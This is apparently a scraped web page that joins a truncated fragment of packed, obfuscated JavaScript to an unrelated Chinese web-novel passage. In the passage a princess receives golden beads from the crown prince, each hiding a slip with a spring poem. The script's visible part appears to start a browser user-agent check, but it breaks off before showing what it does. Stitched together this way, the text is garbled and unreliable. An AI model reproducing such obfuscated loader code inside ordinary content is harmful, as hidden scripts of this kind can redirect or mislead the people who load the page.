d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么?”秦舒蕊接过,问道。 内侍道:“妹妹入秋以后,总是不大开心。人生苦多欢乐少,意气敷腴在盛年。愿公主新春已后,吉吉利利。百事都如意。” 秦舒蕊抿了下嘴唇,低头,打开盒子,一堆金珠子咕噜噜地倾倒下来,幸好有盒子挡着,不然只怕全都掉在了地上。 她发现珠子里面好像有什么东西,便将盒子交给敬母妃拿着,自己拿出一颗珠子来,珠子中间是镂空的,里面塞着一张卷起来的小纸条。 公主取下耳坠,小心翼翼地将纸条挤出来,四个指头艰难地将它展开。 这么小的一张纸上,竟然还写了句子,她下意识念出声:“天初暖,日初长,好春光。” 内侍解释道:“太子殿下说,公主最喜欢春天,所以殿下特意为公主抄写了一百句春日的诗词,公主每日背一首,等背完了这一百首,春天就来了。到了春天,珠子里的字条都取完了,还能用珠子穿一条项链带上。” 敬妃笑道:“这兄长称职,时时不忘督促妹妹用功。” 秦舒蕊最近特别不爱读书,但这样的催促并未惹她生气,反而令她喜笑颜开,她歪过头,道:“你去告诉太子哥哥,我很喜欢,但我可背不完这一百首。其实我也准备了新年礼物,只不过今日匆忙,忘了带过来,等太子哥哥下次进宫请安的时候,我再给他。”